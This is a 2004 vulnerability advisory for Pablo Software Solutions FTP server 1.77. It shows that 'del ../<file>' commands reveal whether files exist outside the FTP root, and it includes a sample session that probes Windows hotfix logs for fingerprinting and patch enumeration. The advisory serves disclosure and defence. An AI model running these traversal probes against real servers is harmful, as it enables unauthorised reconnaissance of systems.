Pablo Software Solutions FTP server can detect if a file exists outside the FTP root directory

Overview

Pablo Software Solutions FTP server version 1.77 can detect if a file exists outside the FTP root directory.
Discovered on 2004, January, 11th
Vendor: Pablo Software Solutions

Pablo's FTP Server is a multi threaded FTP server for Windows 98/NT/XP. It comes with an easy to use interface and can be accessed from the system tray. The server handles all basic FTP commands and offers easy user account management and support for virtual directories. This FTP server can detect if a file exists outside the FTP root directory.

Risk

Exploit easiness
Vulnerability spreading
Impact
Risk

Details

The vulnerability can be done using the MS-DOS ftp client. When you are logged on the server, you can send a del \..\<filename> supposed your root directory is c:\ftp_server
If <filename> exists, the FTP server answers "550 Permission denied." If <filename> doesn't exist, the FTP server answers "550 File not found."

Exploit

Checking if a file exists on a remote system can be usefull to :

Fingerprint the OS. OSes don't have the same installed files by default. By this way, you can know if the remote system is Windows NT, or 2000 or XP...
Know the vulnerabilities of a system. By testing if "../WINNT/Q329115.log" exists, you can know if the remote system have this patch installed
Maybe some other interesting things...

Here is an example of the vulnerability :

C:\>ftp 127.0.0.1 Connecté à 127.0.0.1. 220 Welcome to Pablo's FTP Server Utilisateur (127.0.0.1:(none)) : test 331 Password required for test Mot de passe : 230 User successfully logged in. ftp> dir 200 Port command successful. 150 Opening ASCII mode data connection for directory list. -rwx------ 1 user group 0 Jan 11 18:18 ceci est le repertoire test.txt 226 Transfer complete ftp : 85 octets reçus dans 0,00Secondes 84000,00Ko/sec. ftp> dir .. 200 Port command successful. 550 "..": Permission denied. That is OK. ftp> cd .. 550 "..": Permission denied. That is OK. ftp> del ../WINNT/Q328310.log 550 Permission denied. File exists ! ftp> del ../WINNT/Q329115.log 550 File not found. File does not exists ! ftp> quit